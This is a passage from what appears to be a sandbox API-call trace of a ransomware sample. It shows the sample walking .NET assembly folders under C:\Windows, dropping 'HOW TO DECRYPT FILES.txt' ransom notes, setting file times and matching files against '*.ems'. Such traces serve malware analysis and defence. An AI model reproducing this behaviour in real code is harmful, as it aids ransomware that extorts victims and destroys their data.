ftCreationTime.dwLowDateTime=0x6cccc9d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cccc9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cccc9d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x386, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Outlook.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.812] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.812] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Outlook.config") returned -1 [0100.812] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Outlook.config") returned -1 [0100.812] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Outlook.config") returned -1 [0100.812] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.812] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\" [0100.812] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.812] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.813] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.outlook\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.813] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.outlook\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.815] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.815] CloseHandle (hObject=0x90) returned 1 [0100.815] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Outlook.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Outlook.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Outlook.config" [0100.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Outlook.config", pszSpec="*.ems") returned 0 [0100.816] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59b5e2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x59b5e2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59b5e2f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Outlook.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.816] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.816] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Outlook.dll") returned -1 [0100.816] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Outlook.dll") returned -1 [0100.816] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Outlook.dll") returned -1 [0100.816] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Outlook.config") returned="Policy.11.0.Microsoft.Office.Interop.Outlook.config" [0100.816] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\" [0100.816] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.816] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.816] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.outlook\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.816] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Outlook.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Outlook.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Outlook.dll" [0100.816] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.ems") returned 0 [0100.817] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59b5e2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x59b5e2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59b5e2f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Outlook.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.817] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.817] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59b5e2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.817] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.819] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c40590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl", cAlternateFileName="POLICY~3.OUT")) returned 1 [0100.819] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl") returned -1 [0100.819] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl") returned -1 [0100.819] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.819] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl" [0100.819] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c40590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.820] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.820] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c40590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.820] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.820] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.820] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597cc1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.820] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.820] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.821] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\*.*") returned="*.*" [0100.821] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c" [0100.821] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597cc1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.824] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.824] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597cc1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.824] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.824] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.825] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x597cc1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x597cc1f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x394, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.825] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.825] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.config") returned -1 [0100.825] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.config") returned -1 [0100.825] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.config") returned -1 [0100.825] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.825] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\" [0100.825] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.825] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.825] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.outlookviewctl\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.825] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.outlookviewctl\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.828] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.828] CloseHandle (hObject=0x90) returned 1 [0100.828] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.config" [0100.829] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.ems") returned 0 [0100.829] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bd79c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6bd79c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bd79c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.829] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.829] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.dll") returned -1 [0100.829] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.dll") returned -1 [0100.829] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.dll") returned -1 [0100.829] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.config") returned="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.config" [0100.829] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\" [0100.829] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.829] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.829] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.outlookviewctl\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.830] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.dll" [0100.830] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.ems") returned 0 [0100.830] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bd79c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6bd79c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bd79c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.830] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.830] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597cc1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.830] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.831] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c666f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c666f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c666f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c6c64, dwReserved1=0x6769, cFileName="Policy.11.0.Microsoft.Office.Interop.PowerPoint", cAlternateFileName="POLICY~1.POW")) returned 1 [0100.831] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Office.Interop.PowerPoint") returned -1 [0100.831] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Office.Interop.PowerPoint") returned -1 [0100.831] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.831] 